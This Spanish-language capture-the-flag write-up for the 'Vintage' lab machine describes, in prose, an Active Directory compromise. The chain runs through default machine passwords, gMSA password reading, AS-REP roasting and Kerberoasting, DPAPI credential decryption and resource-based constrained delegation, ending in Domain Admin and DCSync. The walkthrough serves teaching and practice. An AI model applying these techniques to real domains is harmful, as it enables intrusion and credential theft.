Realizaremos una enumeración del servicio SMB en el cual nos encontramos que tenemos permisos de READ
sobre los siguientes recursos compartidos: IPC$
, NETLOGON
y SYSVOL
. De momento nada interesante que podamos obtener.
Para enumerar los usuarios del dominio, usamos NetExec con el protocolo LDAP (puerto 389). Aprovechamos el TGT que ya tenemos en caché en la variable KRB5CCNAME
con el parámetro (--use-kcache
), y le indicamos (--users
) para que nos liste los usuarios disponibles. Además, muchas veces se muestran las descripciones, donde a veces aparece info útil como posibles credenciales o roles.
La salida nos confirma que se han enumerado correctamente los usuarios del dominio vintage.htb
, incluyendo nombres como Administrator
, Guest
, krbtgt
y M.Rossi
. En algunos casos, también podemos ver la fecha del último cambio de contraseña y si hubo intentos fallidos de login.
Nota: Tenemos la variable de entorno FQDN
creada anteriormente que tiene como valor: dc01.vintage.htb
Almacenaremos el resultado del output anterior en un archivo llamado user.txt
, el siguiente punto será transformar este resultado para quedarnos solamente con los nombres de usuarios tal y como se muestra a continuación.
Dado que disponemos de un listado potencial de usuarios válidos del dominio, intentamos realizar un AS-REP Roast Attack.
Este ataque consiste en solicitar un TGT (Ticket Granting Ticket) a aquellos usuarios del listado (users.txt
) que tengan habilitado el flag DONT_REQ_PREAUTH
de Kerberos. Para esto, utilizamos la herramienta GetNPUsers.py
de la suite Impacket, que nos permite identificar qué usuarios tienen esa opción activa.
El objetivo es obtener un TGT sin autenticación previa y luego intentar crackear offline la contraseña. Sin embargo, ninguno de los usuarios tenía configurado dicho flag, por lo tanto, no eran susceptibles a AS-REP Roasting.
Nota: Tenemos la variable de entorno IP
creada anteriormente que tiene como valor: 10.10.11.45
Por otro lado, dado que ya contamos con credenciales válidas del dominio, intentamos realizar un ataque de Kerberoasting.
Este ataque se basa en solicitar un TGS (Ticket Granting Service) para aquellas cuentas del dominio que tengan asignado un SPN (servicePrincipalName). Para ello, usamos la herramienta GetUserSPNs.py
de Impacket, que nos permite identificar usuarios con SPNs asociados y solicitar el TGS correspondiente para luego intentar crackear el hash offline.
En este caso, el ataque tampoco tuvo éxito, ya que no se encontró ningún SPN en el dominio. La herramienta no devolvió ninguna entrada, lo que indica que actualmente ninguna cuenta del dominio tiene un SPN asignado.
Nota: Tenemos la variable de entorno IP
creada anteriormente que tiene como valor: 10.10.11.45
Después de revisar distintos servicios buscando un vector para escalar privilegios, decidimos hacer una enumeración con BloodHound, una herramienta clave en entornos Active Directory.
Para ello, usamos el recolector bloodhound-python
, que nos permite extraer toda la información necesaria del dominio directamente desde nuestra máquina Linux, sin necesidad de acceso interactivo al dominio.
Como se muestra en la salida, la herramienta detectó correctamente el TGT en caché, se conectó al servidor LDAP y recopiló los principales objetos del dominio: usuarios, grupos, equipos, GPOs, OUs, etc. La recolección finalizó exitosamente generando un archivo .zip
que luego podemos analizar con la interfaz de BloodHound.
Nota: Tenemos la variable de entorno FQDN
creada anteriormente que tiene como valor: dc01.vintage.htb y la variable de entorno IP
que tiene como valor la dirección IP de Vintage - 10.10.11.45.
Levantaremos nuestro BloodHound-CE que tenemos instalado previamente a través del siguiente comando,
Una vez iniciemos BloodHound-CE y hayamos subido nuestro archivo comprimido .zip, exploraremos la interfaz para enumerar el dominio a través de BloodHound.
Por una parte, nos encontramos que disponemos de 2 Domain Admins del dominio, el usuario Administrator
y L.Bianchi_adm
.
Por otro lado, al utilizar la opción Shortest path to Domain Admin dentro de BloodHound, identificamos una ruta potencialmente interesante. Este camino nos muestra una cadena de relaciones que podríamos aprovechar si en algún momento logramos obtener acceso al usuario C.Neri_adm
.
En este caso, lo que destaca es la presencia del permiso AllowedToAct, lo que sugiere que esta cuenta podría tener capacidad de control remoto sobre otro equipo del dominio. Esto, combinado con otros privilegios del grafo, podría abrirnos una vía clara hacia altos privilegios como Domain Admin.
Durante la enumeración, encontramos un total de tres equipos dentro del dominio:
DC01.vintage.htb
: el Domain Controller principal.
FS01.vintage.htb
: un equipo adicional del dominio.
GMSA01$@vintage.htb
: una cuenta de equipo que parece estar asociada a una gMSA (Group Managed Service Account), lo cual sugiere que podría estar vinculada a tareas automatizadas o servicios gestionados en el dominio.
Este último puede ser relevante si más adelante buscamos obtener la contraseña de la gMSA o identificar sobre qué equipo tiene permisos para actuar.
Buscando otros caminos para escalar privilegios o acceder a nuevas credenciales, encontramos un path interesante en BloodHound.
Si conseguimos credenciales del equipo FS01$
, podríamos abusar del permiso ReadGMSAPassword sobre GMSA01$
, lo que nos permitiría recuperar su contraseña. A su vez, esta cuenta tiene permisos de AddSelf y GenericWrite, lo cual nos abre otras posibles vías de ataque si podemos usar esos privilegios.
Además, si en algún punto logramos pertenecer al grupo SERVICEMANAGERS
, tendríamos permisos de GenericAll sobre tres usuarios (SVC_ARK
, SVC_LDAP
y SVC_SQL
), los cuales podrían ser útiles más adelante para escalar o moverse lateralmente dentro del dominio.
Investigando cómo podríamos autenticar como el equipo FS01$
, notamos que pertenece al grupo PRE-WINDOWS 2000 COMPATIBLE ACCESS, lo cual puede abrir una vía interesante de acceso.
Este grupo está relacionado con equipos configurados como "anteriores a Windows 2000", donde la contraseña por defecto de la cuenta de máquina puede ser predecible. En muchos casos, esta contraseña se genera a partir del nombre del equipo en minúsculas (sin el símbolo $
), por ejemplo: fs01
.
Esto nos permite intentar autenticarnos con la cuenta FS01$
usando como contraseña el nombre del equipo (fs01
), lo cual puede funcionar si la cuenta fue creada manualmente o no ha sido modificada.
Para comprobar si la cuenta del equipo FS01$
sigue usando credenciales por defecto (es decir, el nombre del host en minúsculas sin el $
), utilizamos la herramienta pre2k, como explicamos anteriormente.
Esta herramienta permite comprobar si los equipos que forman parte del grupo PRE-WINDOWS 2000 COMPATIBLE ACCESS conservan sus credenciales predeterminadas, lo cual es común si no fueron modificadas desde su creación.
En nuestro caso, generamos un archivo computers.txt
con el nombre del equipo y lo pasamos como entrada a la herramienta. Como resultado, confirmamos que las credenciales por defecto funcionan para FS01$.
Esto nos permite autenticarnos como FS01$
, lo cual será clave para leer la contraseña del gMSA y avanzar en la ruta indicada anteriormente.
Nota: Tenemos la variable de entorno IP
creada anteriormente que tiene como valor: 10.10.11.45
A través de la herramienta getTGT.py
de Impacket, podemos solicitar el TGT (Ticket Granting Ticket) para la cuenta de equipo FS01$
, lo que nos permitirá autenticarnos a servicios del dominio como si fuéramos dicho equipo.
Una vez obtenido el ticket (.ccache
), lo guardamos localmente y configuramos la variable de entorno KRB5CCNAME
para usarlo en futuras peticiones. Finalmente, verificamos su validez con la herramienta klist
.
Nota: Tenemos la variable de entorno IP
creada anteriormente que tiene como valor: 10.10.11.45
Siguiendo el path que habíamos identificado, ahora que tenemos acceso como FS01$
, podemos avanzar con el abuso del privilegio ReadGMSAPassword.
Este equipo forma parte del grupo DOMAIN COMPUTERS
, cuyos miembros tienen permiso para leer la contraseña del objeto GMSA01$
. Gracias a este ACL, tenemos la posibilidad de extraer directamente la contraseña de la gMSA asociada.
Este paso es clave para avanzar en la cadena de explotación, ya que nos permitirá actuar como GMSA01$
y aprovechar sus privilegios dentro del dominio.
Para leer la contraseña de la cuenta gMSA01$
, utilizamos la herramienta BloodyAD, esencial para pentesting en entornos Active Directory. Esta herramienta permite tanto enumerar como atacar objetos del dominio.
En este caso, nos autenticamos mediante Kerberos (-k
) y solicitamos el atributo msDS-ManagedPassword
del objeto GMSA01$
, que es donde se almacena su contraseña.
Como estamos usando autenticación Kerberos, es importante tener el TGT (.ccache
) cargado en la variable KRB5CCNAME
y asegurarnos de utilizar el FQDN en lugar de la dirección IP.
En nuestro caso, ya habíamos definido la variable FQDN
con el valor dc01.vintage.htb
.
Una vez obtenido el hash NTLM de la cuenta GMSA01$
, solicitaremos su TGT (Ticket Granting Ticket) utilizando la herramienta getTGT.py
de Impacket.
El ticket generado se guarda en un archivo .ccache
, que luego exportamos en la variable KRB5CCNAME
para usarlo en futuras autenticaciones. Finalmente, con klist
validamos que el TGT esté correctamente cargado.
Nota: Tenemos la variable de entorno IP
creada anteriormente que tiene como valor: 10.10.11.45
Siguiendo el path inicial identificado, ahora que tenemos acceso como GMSA01$
, podemos abusar de los permisos GenericWrite y AddSelf que tiene sobre el grupo SERVICEMANAGERS
.
Esto nos permite añadir la cuenta GMSA01$
(o cualquier otra) como miembro del grupo. En este caso, optamos por añadir al usuario P.Rosa
, que fue el que se nos proporcionó al inicio del pentest. Sin embargo, también podríamos haber añadido a FS01$
o incluso a la propia GMSA01$
, ya que disponemos de sus credenciales.
Este paso es clave, ya que formar parte de SERVICEMANAGERS
nos otorga privilegios GenericAll sobre varias cuentas del dominio, lo que amplía aún más la superficie de ataque.
Para añadir al usuario P.Rosa
al grupo SERVICEMANAGERS
, tenemos varias formas de hacerlo mediante autenticación Kerberos.
En nuestro caso, usamos tanto bloodyAD como PowerView.py, ya que ambas permiten realizar esta acción utilizando un TGT en caché.
En ambas herramientas nos conectamos a través de Kerberos mediante el TGT (.ccache
) cargado en la variable KRB5CCNAME
y añadimos al usuario P.Rosa
al grupo mencionado.
Nota: Tenemos la variable de entorno FQDN
creada anteriormente que tiene como valor: dc01.vintage.htb y la variable de entorno IP
que tiene como valor la dirección IP de Vintage - 10.10.11.45.
En este punto, la usuaria P.Rosa
ya forma parte del grupo SERVICEMANAGERS
, el cual tiene permisos de GenericAll sobre las siguientes cuentas del dominio:
SVC_SQL@vintage.htb
SVC_LDAP@vintage.htb
SVC_ARK@vintage.htb
Tener GenericAll implica control total sobre esos objetos. Podemos, entre otras cosas:
Cambiar sus contraseñas
Modificar atributos sensibles (como userAccountControl
)
Habilitar la opción DONT_REQ_PREAUTH
para ataques de AS-REP Roasting
Configurar o forzar SPNs para realizar Kerberoasting
Habilitar cuentas deshabilitadas
Esto nos da un abanico de opciones para seguir explotando el entorno dependiendo de lo que necesitemos en cada momento.
Revisando las cuentas sobre las que tenemos permisos de GenericAll, notamos que una de ellas —SVC_SQL@vintage.htb
— se encuentra deshabilitada.
Como contamos con control total sobre este objeto, podemos habilitar la cuenta fácilmente modificando el atributo userAccountControl
, lo cual nos devuelve el acceso total a esa identidad para futuros usos (como login, SPN abuse o AS-REP Roasting si lo activamos).
Enabling users to be susceptible to AS-REP Roast
En este primer caso, explicaremos una manera de realizar esta parte de la máquina Vintage
que será habilitando a los usuarios a que dispongan de la flag DONT_REQ_PREAUTH
de Kerberos y así sean susceptibles a un AS-REP Roast Attack.
Como hemos comentado anteriormente, disponemos de las herramientas de bloodyAD y PowerView.py en las cuales verificaremos ambas maneras de cómo se utilizan estas herramientas para habilitar el DONT_REQ_PREAUTH
y por otro lado, habilitar a un usuario deshabilitado modificando su UAC (userAccountControl).
Nota: Tenemos la variable de entorno FQDN
creada anteriormente que tiene como valor: dc01.vintage.htb y la variable IP
que corresponde a la dirección IP de Vintage 10.10.11.45.
Para el caso de la herramienta de bloodyAD, la sintaxis para habilitar una cuenta deshabilitada es bastante sencilla. Ya que solamente deberemos remover la flag ACCOUNTDISABLE
de la UAC del usuario en cuestión.
Por otro lado, para habilitar que un usuario disponga de la flag DONT_REQ_PREAUTH
de Kerberos y volverlo susceptible a AS-REP Roasting, deberemos de añadir una nueva flag DONT_REQ_PREAUTH
a la UAC del usuario.
Para la herramienta de PowerView.py (versión de PowerView.ps1 pero en Python y para Linux) la sintaxis para habilitar a un usuario que se encontraba deshabilitado o de modificar su flag de DONT_REQ_PREAUTH
para que sea susceptible a AS-REP Roasting es un poco más compleja. Esto debido que deberemos de modificar el UAC (userAccountControl) del usuario e indicarle el valor que queramos asignarle dependiendo de las flags.
Para ello, disponemos de la siguiente página web UAC Decoder que nos servirá para verificar el valor exacto del UAC dependiendo de las flags que le indiquemos.
En este primer ejemplo, lo que buscamos es habilitar a una cuenta deshabilitada, es decir dejarla en estado normal. Para ello, en la página de UAC Decoder asignaremos las siguientes flags y nos devuelve que el valor del userAccountControl es 66048 que es el que deberemos asignar al usuario deshabilitado para volver a habilitarlo.
Por otra parte, para activar la flag de DONT_REQ_PREAUTH
de Kerberos, en la página de UAC Decoder le asignaremos esa casilla y nos devolverá que el valor del UAC es 4260352.
Accederemos a PowerView.py a través del usuario P.Rosa
mediante su TGT (.ccache
) y a través de los siguientes comandos, habilitaremos al usuario SVC_SQL
que se encontraba deshabilitado y le indicaremos a los usuarios SVC_SQL
, SVC_LDAP
y SVC_ARK
la flag de DONT_REQ_PREAUTH
de Kerberos mediante el valor del UAC que se nos mostró anteriormente.
En este punto, ya modificamos correctamente el atributo userAccountControl
de los usuarios seleccionados, activando la flag DONT_REQ_PREAUTH
de Kerberos. Esto los vuelve vulnerables a un AS-REP Roasting Attack.
En la enumeración inicial, ningún usuario era susceptible, pero ahora al volver a lanzar el ataque con la herramienta GetNPUsers.py
de Impacket, obtenemos con éxito los hashes TGT (Ticket Granting Ticket) de los tres usuarios a los que les activamos la flag.
Estos hashes los podemos almacenar en un archivo llamado hashes
y posteriormente crackearlos de manera offline con John o Hashcat.
Nota: Tenemos la variable de entorno IP
creada anteriormente que tiene como valor: 10.10.11.45
Enabling users to be susceptible to Kerberoasting Attack
En lugar de aplicar la flag DONT_REQ_PREAUTH
para realizar un AS-REP Roasting, también podemos hacer que los usuarios sean vulnerables a Kerberoasting asignándoles un SPN (Service Principal Name).
Esto lo haremos usando bloodyAD
, PowerView.py
y targetedKerberoast.py
, siempre autenticándonos vía Kerberos con el TGT cargado en la variable KRB5CCNAME
.
Nota: Tenemos la variable de entorno FQDN
creada anteriormente que tiene como valor: dc01.vintage.htb y la variable de entorno IP
que tiene como valor la dirección IP de Vintage - 10.10.11.45.
Para bloodyAD, la sintaxis es bastante sencilla. En este caso, nos autenticamos mediante Kerberos (-k
) y eliminamos la flag ACCOUNTDISABLE
del usuario SVC_SQL
para asegurarnos de que no esté deshabilitado.
Luego, añadimos un atributo SPN (Service Principal Name) a cada uno de los usuarios. Esto los hace vulnerables a Kerberoasting, ya que al tener un SPN asociado, es posible solicitar su TGS.
Es importante que cada SPN sea distinto, ya que no se puede asignar el mismo SPN a múltiples cuentas dentro del dominio.
Una vez habilitada la cuenta, utilizamos PowerView.py para asignar un SPN (Service Principal Name) distinto a cada una de las tres cuentas, lo que las hace susceptibles a un ataque de Kerberoasting.
Por otro lado, disponemos de la herramienta targetedKerberoast.py
, que nos permite añadir un SPN (Service Principal Name) a los usuarios sobre los cuales tengamos permisos de escritura en ese atributo.
Una vez asignado el SPN, la herramienta extrae el hash TGS (Ticket Granting Service) de esa cuenta para posteriormente poder crackearlo. Al terminar, elimina el SPN que hemos añadido para "evitar" dejar más rastro del necesario.
Nota: previamente deberemos asegurarnos de que el usuario SVC_SQL@vintage.htb
esté habilitado. Para ello podemos utilizar herramientas como PowerView.py
, bloodyAD
o cualquier otra que nos permita modificar el atributo userAccountControl
.
En la enumeración inicial de la máquina Vintage, al usar GetUserSPNs.py
de Impacket, no obtuvimos resultados porque ningún usuario tenía un SPN (servicePrincipalName) asociado.
Después de asignar un SPN personalizado a cada cuenta, volvimos a ejecutar la herramienta de Impacket y esta vez obtuvimos correctamente los hashes TGS (Ticket Granting Service) de los tres usuarios que hicimos vulnerables a Kerberoasting.
Nota: Tenemos la variable de entorno IP
creada anteriormente que tiene como valor: 10.10.11.45
Después de obtener los hashes TGT y TGS de los tres usuarios (ya sea mediante AS-REP Roasting o Kerberoasting), los guardamos en un archivo llamado hashes
para proceder a crackearlos.
Utilizamos john
con la clásica wordlist rockyou.txt
y logramos obtener la contraseña del usuario svc_sql@vintage.htb
..
Al obtener estas credenciales, una de las prácticas más comunes es realizar un Password Spraying para comprobar si la contraseña se reutiliza en otras cuentas del dominio.
Podemos hacerlo con herramientas como Kerbrute, que realiza el spraying vía Kerberos, o con NetExec, utilizando el parámetro (-k
) para Kerberos y (--continue-on-success
) para que el ataque no se detenga al encontrar una credencial válida.
En el resultado obtenido, comprobamos que las credenciales son válidas para los siguientes usuarios:
svc_sql@vintagehtb
C.Neri@vintage.htb
Nota: Tenemos la variable de entorno FQDN
creada anteriormente que tiene como valor: dc01.vintage.htb
Revisando nuevamente en BloodHound-CE, nos encontramos que el usuario C.Neri@vintage.htb forma parte del grupo Remote Management Users, con lo cual podríamos conectarnos por RDP (Puerto 3389) o WinRM (Puerto 5985). En este caso, la máquina tiene abierto WinRM y intentaremos conectarnos a través de este protocolo.
A través de la herramienta getTGT.py
de la suite Impacket, solicitamos un TGT (Ticket Granting Ticket) para autenticarnos como el usuario C.Neri@vintage.htb
.
Una vez obtenido el ticket (.ccache
), lo exportamos en la variable KRB5CCNAME
, y con la utilidad klist
verificamos que el TGT se haya cargado correctamente en nuestra sesión.
Nos conectamos al Domain Controller (dc01.vintage.htb
) usando la herramienta evil-winrm, aprovechando el TGT (.ccache) del usuario C.Neri@vintage.htb
previamente obtenido y exportado en la variable KRB5CCNAME
.
Verificamos que logramos acceder al DC y obtenemos finalmente la flag user.txt.
Nota: Tenemos la variable de entorno FQDN
creada anteriormente que tiene como valor: dc01.vintage.htb
Una vez que conseguimos acceso al Domain Controller, el siguiente objetivo será escalar privilegios y convertirnos finalmente en Domain Admins.
Buscando posibles vectores de escalada, identificamos la opción de abusar de DPAPI (Data Protection API), lo cual puede permitirnos acceder a credenciales protegidas y movernos lateralmente por el dominio.
En las siguientes rutas es donde se suelen almacenar las credenciales protegidas por DPAPI.
En el caso del usuario C.Neri
, dispone de una credencial llamada C4BB96844A5C9DD45D5B6A9859252BA6
ubicada en C:\Users\C.Neri\AppData\Roaming\Microsoft\Credentials
.
Esta credencial se encuentra oculta, para poder descargala a través del módulo download
que ofrece evil-winrm, deberemos de quitarle el atributo Hidden
y System
. Seguidamente, nos dejará realizar el la descarga del archivo en nuestro equipo local.
Las credenciales protegidas por DPAPI están cifradas utilizando una Master Key específica del usuario, derivada de su contraseña.
Estas Master Keys suelen almacenarse en la siguiente ruta:
En nuestro caso, encontramos dos posibles Master Keys en esa ubicación. Sabemos que una de ellas es la que se utiliza para proteger la credencial que descargamos anteriormente.
Herramientas como Mimikatz o winPEAS permiten identificar directamente qué Master Key corresponde a cada secreto, pero en este caso lo hicimos manualmente probando ambas, y determinamos que la correcta era: 99cf41a3-a552-4cf7-a8d7-aca2d6f7339b
.
Dado que tiene los atributos Hidden
y System
, se los quitaremos a través de attrib -h -s
y podremos descargar la master key a través del módulo download
de evil-winrm.
A continuación, el siguiente paso será descifrar la credencial protegida por DPAPI utilizando la herramienta dpapi.py
de la suite Impacket.
El primer paso consiste en descifrar la Master Key. Para ello, necesitaremos:
El archivo de la Master Key descargado previamente.
El SID (Security Identifier) del usuario, que podemos obtener de la ruta donde estaba almacenada la Master Key.
La contraseña del usuario propietario de esas credenciales protegidas por DPAPI, en este caso, el usuario C.Neri
ya que estamos trabajando en local con los archivos.
Finalmente logramos desencriptar la Master Key con éxito.
Para finalizar, vamos a descifrar la credencial protegida por DPAPI utilizando la Master Key que recuperamos en el paso anterior.
Para ello necesitaremos:
El archivo de la credencial protegida que descargamos previamente (C4BB96844A5C9DD45D5B6A9859252BA6
).
La Master Key desencriptada.
En la salida obtenemos lo que parece ser un nuevo conjunto de credenciales, correspondientes al usuario c.neri_adm@vintage.htb
, junto con su contraseña.
Probamos las nuevas credenciales obtenidas para el usuario c.neri_adm@vintage.htb
utilizando la herramienta NetExec (nxc) contra el servicio LDAP, autenticándonos mediante Kerberos.
En el resultado comprobamos que las credenciales son válidas, confirmando así que tenemos acceso como c.neri_adm
dentro del dominio y podemos seguir avanzando.
Nota: Tenemos la variable de entorno FQDN
creada anteriormente que tiene como valor: dc01.vintage.htb
Revisamos nuevamente en BloodHound-CE qué opciones tenemos con el usuario c.neri_adm@vintage.htb
, que es el que disponemos actualmente.
Verificamos que este usuario forma parte del grupo Remote Desktop Users
, lo que nos permitiría conectarnos directamente al Domain Controller (dc01.vintage.htb
) mediante WinRM, y además comprobamos que también pertenece al grupo DELEGATEDADMINS
, grupo que investigaremos a continuación para ver si podemos sacarle algún provecho en cuanto a privilegios o delegaciones configuradas.
Por otro lado, también verificamos que el usuario c.neri_adm@vintage.htb
dispone de permisos de ACL sobre el grupo DELEGATEDADMINS
, concretamente los privilegios de AddSelf
y GenericWrite
.
Gracias a estos permisos, el usuario tiene la capacidad de añadirse a sí mismo o añadir a cualquier otro usuario al grupo mencionado.
También comprobamos que hay dos miembros que forman parte del grupo DELEGATEDADMINS
: el usuario que disponemos actualmente c.neri_adm@vintage.htb
y otro nuevo llamado l.bianchi_adm@vintage.htb
.
Este segundo usuario pertenece además al grupo DOMAIN ADMINS
, por lo que se trata de un Administrador del Dominio.
Esta información nos resulta bastante útil, ya que si bien no podemos acceder directamente al usuario Administrator
, podríamos apuntar a este otro objetivo que también tiene privilegios de Domain Admin, y tratar de comprometerlo a través de la relación que mantiene con el grupo DELEGATEDADMINS
.
Buscando rutas para elevar nuestro privilegio y lograr convertirnos en Domain Admin, nos encontramos con el siguiente path. Los miembros del grupo DELEGATEDADMINS
disponen del privilegio ACL de AllowedToAct
, es decir, tienen configurado el atributo msds-AllowedToActOnBehalfOfOtherIdentity
sobre el controlador de dominio DC01.VINTAGE.HTB
. Esto nos permitiría realizar un ataque de Resource-Based Constrained Delegation (RBCD) y suplantar a un Domain Admin.
Para que este ataque funcione correctamente, debemos tener en cuenta lo siguiente:
Los usuarios que queramos suplantar no deben pertenecer al grupo Protected Users
ni tener restricciones de delegación aplicadas.
El usuario que añadimos al atributo msDS-AllowedToActOnBehalfOfOtherIdentity
debe tener un SPN (Service Principal Name) configurado, ya que el proceso de S4U2self
y S4U2proxy
requiere un servicio válido asociado al usuario.
En este punto, el objetivo es conseguir una cuenta que tenga un SPN ficticio para poder realizar el RBCD Attack e impersonar al Domain Admin l.bianchi_adm@vintage.htb
.
Si revisamos los usuarios de los que ya disponemos credenciales:
P.Rosa → lo añadimos previamente al grupo SERVICEMANAGERS@vintage.htb
y tenemos sus credenciales.
svc_sql → tenemos sus credenciales y control total sobre él formando parte del grupo SERVICEMANAGERS@vintage.htb
.
C.Neri → solo disponemos de su contraseña.
C.Neri_adm → forma parte de DELEGATEDADMINS
y puede añadir usuarios a ese grupo.
Teniendo esto en cuenta, la estrategia es añadir primero al usuario svc_sql
al grupo DELEGATEDADMINS
, ya que solo los miembros de este grupo tienen el permiso AllowedToAct
sobre el DC. Una vez añadido, aprovecharemos que P.Rosa
tiene control total sobre svc_sql
para asignarle un SPN ficticio, dejándolo preparado para ejecutar el ataque de RBCD.
Con todo esto en cuenta, ya tenemos el escenario listo para ejecutar el ataque de RBCD.
Nota: en los siguientes pasos repetiremos algunos pasos realizados anteriormente, esto debido que los permisos/ACL que realizamos al principio se resetean cada x tiempo. Para evitar errores, realizaremos el paso a paso.
Añadir al usuario SVC_SQL al grupo DELEGATEDADMINS
El objetivo en este punto es añadir al usuario svc_sql@vintage.htb
al grupo DELEGATEDADMINS
, para que así herede el permiso AllowedToAct
sobre el Domain Controller y podamos ejecutar el ataque de RBCD.
Para ello, el primer paso será solicitar el TGT (Ticket Granting Ticket) del usuario c.neri_adm@vintage.htb
, quien tiene permisos de GenericWrite
que nos permitirán añadir usuarios al grupo DELEGATEDADMINS
. Usaremos la herramienta getTGT.py
de Impacket para obtener su TGT en formato .ccache
, lo exportaremos con la variable KRB5CCNAME
y verificaremos con klist
que se haya cargado correctamente en la sesión.
Nota: Tenemos la variable de entorno IP
creada anteriormente que tiene como valor: 10.10.11.45
Para añadir al usuario svc_sql@vintage.htb
al grupo DELEGATEDADMINS
, tenemos varias formas de hacerlo mediante autenticación Kerberos.
En nuestro caso, usamos tanto bloodyAD como PowerView.py, ya que ambas permiten realizar esta acción utilizando un TGT en caché.
En ambas herramientas nos conectamos a través de Kerberos mediante el TGT (.ccache
) cargado en la variable KRB5CCNAME
y añadimos al usuario SVC_SQL
al grupo mencionado.
Nota: Tenemos la variable de entorno FQDN
creada anteriormente que tiene como valor: dc01.vintage.htb y la variable de entorno IP
que tiene como valor la dirección IP de Vintage - 10.10.11.45.
Añadir al usuario P.ROSA al grupo SERVICEMANAGERS
Como comentamos al inicio, es posible que los permisos y cambios aplicados anteriormente se hayan reseteado. Por eso, vamos a repetir el proceso paso a paso para evitar problemas.
Volveremos a añadir al usuario P.Rosa@vintage.htb
al grupo SERVICEMANAGERS
. Para ello, primero solicitaremos el TGT (Ticket Granting Ticket) de la cuenta GMSA01$
utilizando la herramienta getTGT.py
de la suite Impacket.
El TGT se almacenará en un archivo .ccache
, que luego exportaremos en la variable KRB5CCNAME
para poder usarlo en futuras autenticaciones. Finalmente, validaremos con klist
que el TGT esté cargado correctamente.
Nota: Tenemos la variable de entorno IP
creada anteriormente que tiene como valor: 10.10.11.45
Para añadir al usuario P.Rosa
al grupo SERVICEMANAGERS
, tenemos varias formas de hacerlo mediante autenticación Kerberos.
En nuestro caso, usamos tanto bloodyAD como PowerView.py, ya que ambas permiten realizar esta acción utilizando un TGT en caché.
En ambas herramientas nos conectamos a través de Kerberos mediante el TGT (.ccache
) cargado en la variable KRB5CCNAME
y añadimos al usuario P.Rosa
al grupo mencionado.
Nota: Tenemos la variable de entorno FQDN
creada anteriormente que tiene como valor: dc01.vintage.htb y la variable de entorno IP
que tiene como valor la dirección IP de Vintage - 10.10.11.45.
Asignar un SPN ficticio al usuario SQL_SVC
El siguiente paso será asignar un SPN (Service Principal Name) ficticio al usuario svc_sql
. Lo haremos utilizando la cuenta P.Rosa
, que acabamos de volver a añadir al grupo SERVICEMANAGERS
, ya que este grupo tiene permisos de GenericAll
sobre las tres cuentas svc
.
Para ello, primero solicitaremos el TGT (Ticket Granting Ticket) del usuario P.Rosa@vintage.htb
usando getTGT.py
de Impacket. Una vez obtenido el TGT en formato .ccache
, lo exportaremos en la variable KRB5CCNAME
y validaremos con klist
que se haya cargado correctamente en nuestra sesión.
Nota: Tenemos la variable de entorno IP
creada anteriormente que tiene como valor: 10.10.11.45
Si bien recordamos, el usuario svc_sql
se encontraba deshabilitado, por lo que primero necesitaremos modificar su userAccountControl
(UAC) para volver a habilitarlo. Una vez hecho esto, podremos asignarle un SPN ficticio.
Ambas acciones las podemos realizar utilizando bloodyAD
o PowerView.py
, autenticándonos mediante Kerberos con el TGT (.ccache
) que ya tenemos cargado en la variable KRB5CCNAME
.
Nota: Tenemos la variable de entorno FQDN
creada anteriormente que tiene como valor: dc01.vintage.htb y la variable de entorno IP
que tiene como valor la dirección IP de Vintage - 10.10.11.45.
Resource-based Constrained Delegation Attack with SQL_SVC
Una vez en este punto, tenemos el escenario perfecto para llevar a cabo un ataque de Resource-Based Constrained Delegation (RBCD Attack):
El usuario svc_sql@vintage.htb
forma parte del grupo DELEGATEDADMINS
, cuyos miembros tienen permiso ACL de AllowedToAct
sobre el Domain Controller.
El usuario svc_sql@vintage.htb
ya tiene asignado un SPN (Service Principal Name) ficticio, requisito necesario para realizar el ataque.
Tenemos un objetivo claro, l.bianchi_adm@vintage.htb
, que es miembro de Domain Admins
y que queremos suplantar.
Teniendo este escenario listo, el primer paso será solicitar el TGT (Ticket Granting Ticket) del usuario svc_sql@vintage.htb
utilizando la herramienta getTGT.py
de Impacket.
Una vez solicitado el TGT, obtendremos un archivo .ccache
, el cual exportaremos en la variable KRB5CCNAME
y validaremos con klist
que esté correctamente cargado en nuestra sesión.
Nota: Tenemos la variable de entorno IP
creada anteriormente que tiene como valor: 10.10.11.45
Para ejecutar el Resource-Based Constrained Delegation Attack (RBCD), utilizamos la herramienta getST.py
de la suite Impacket. El objetivo es obtener un TGS (Ticket Granting Service) suplantando al usuario l.bianchi_adm@vintage.htb
para acceder al Domain Controller.
El ataque se basa en el funcionamiento normal de la delegación Kerberos:
Primero realizamos un S4U2Self, donde solicitamos un ticket de servicio a nombre del usuario l.bianchi_adm
, usando el SPN ficticio que habíamos asignado previamente a svc_sql
.
Luego realizamos un S4U2Proxy, donde pedimos al KDC que nos permita usar ese ticket para acceder al servicio cifs/dc01.vintage.htb
, aprovechando el permiso AllowedToAct
que tiene svc_sql
sobre el DC.
En el resultado vemos que primero se completa el S4U2Self
, luego el S4U2Proxy
, y finalmente se guarda el ticket suplantando a l.bianchi_adm
en el archivo .ccache
.
Nota: Tenemos la variable de entorno IP
creada anteriormente que tiene como valor: 10.10.11.45
Exportamos el nuevo .ccache
que contiene el TGS de suplantación del usuario l.bianchi_adm
, utilizando la variable KRB5CCNAME
, y verificamos con klist
que el ticket esté correctamente cargado en nuestra sesión.
Una vez confirmado, nos conectamos al Domain Controller dc01.vintage.htb
utilizando la herramienta wmiexec.py
de Impacket, autenticándonos directamente mediante Kerberos y sin necesidad de introducir contraseña.
La conexión se establece correctamente, obteniendo una shell bajo el contexto de l.bianchi_adm
. Desde esta sesión, confirmamos que disponemos de privilegios de Domain Admin y accedemos al escritorio del usuario Administrator
, donde logramos obtener finalmente la flag root.txt
Nota: Tenemos la variable de entorno FQDN
creada anteriormente que tiene como valor: dc01.vintage.htb
Por otro lado, también podemos realizar este mismo ataque de RBCD utilizando la cuenta FS01$
, de la cual disponemos credenciales y que ya tiene un SPN (ServicePrincipalName) asignado por defecto.
El proceso es el mismo: utilizando la cuenta C.Neri_adm
, añadimos FS01$
al grupo DELEGATEDADMINS
para que disponga del privilegio ACL AllowedToAct.
Solicitamos el TGT (Ticket Granting Ticket) de FS01$
y realizamos el ataque de RBCD mediante la herramienta getST.py de Impacket, autenticándonos con la cuenta FS01$
y logrando suplantar al Domain Admin: L.Bianchi_adm@vintage.htb
.
Ya que disponemos de privilegios de Domain Admin en el dominio vintage.htb
a través del usuario l.bianchi_adm@vintage.htb
, podemos aprovechar para realizar un ataque de tipo DCSync y extraer todos los hashes NTLM almacenados en el NTDS.dit
, que es la base de datos utilizada por Active Directory para guardar toda la información del dominio, incluidas las credenciales de los usuarios.
